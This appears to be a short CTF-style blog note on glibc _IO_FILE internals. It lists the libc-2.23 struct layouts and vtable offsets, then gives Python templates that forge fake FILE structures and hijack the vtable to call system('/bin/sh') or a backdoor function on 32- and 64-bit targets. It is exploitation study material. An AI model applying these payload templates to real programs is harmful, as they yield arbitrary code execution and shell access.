_IO_FILE related structure

发布于 2019-10-30  41 次阅读


Related structure

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable; // offset in libc-2.23: 0x94 in 32bits; 0xd8 in 64bits
};
struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

Fake _IO_FILE for attacking

32 bits:

  • 调用 IO_FINISH(fp)的情况
#注意flags字段,只需要_flags & 0x2000为0就会直接调用 IO_FINSH(fp),IO_FINISH(fp)相当于调用fp->vtabl->__finish(fp)
#其中shell是后门函数
fake_file = "\x00" * 0x48 + p32(buf_add)
fake_file = fake_file.ljust(0x94, "\x00")
fake_file += p32(buf_add + 0x98 - 0x8)#fake_vtable_addr = buf_addr + 0x98 - 0x8
fake_file += p32(shell)
#不存在后门函数的情况
fake_file = "\x00" * 4 + ";sh" 
fake_file = fake_file.ljust(0x48,'\x00')+ p32(buf_add)
fake_file = fake_file.ljust(0x94, "\x00")
fake_file += p32(buf_add + 0x98 - 0x8)#fake_vtable_addr = buf_addr + 0x98 - 0x8
fake_file += p32(system)
  • 调用__fclose()函数的情况: flags & 0x2000不为0
#_flags & 0x2000不为0最终会调用fp->vtabl->__fclose(fp)
fake_file = "/bin/sh\x00"
fake_file = fake_file.ljust(0x48,'\x00')
fake_file += p32(fake_lock_addr) # 指向一处值为0的地址
fake_file = fake_file.ljust(0x94, "\x00")
fake_file += p32(fake_vtable)#fake vtable address = buf_addr + 0x98 - 0x44
fake_file += p32(system)

64 bits:

  • 程序中存在后门函数
fake_file ='\0'*0x10 + p64(get_shell)+'\0'*0x70+ p64(buf_addr)
fake_file = fake_file.ljust(0xd8,'\0')+p64(buf_addr)
  • 程序中不存在后门函数
fake_file = "/bin/sh\x00" + '\x00' * 0x8
fake_file += p64(system) + '\x00' * 0x70
# the system can also be placed in other memory
fake_file += p64(fake_lock_addr)#指向一处值为0的地址
fake_file = fake_file.ljust(0xd8, '\x00')
fake_file += p64(buf_addr + 0x10 - 0x88) # fake_vtable_addr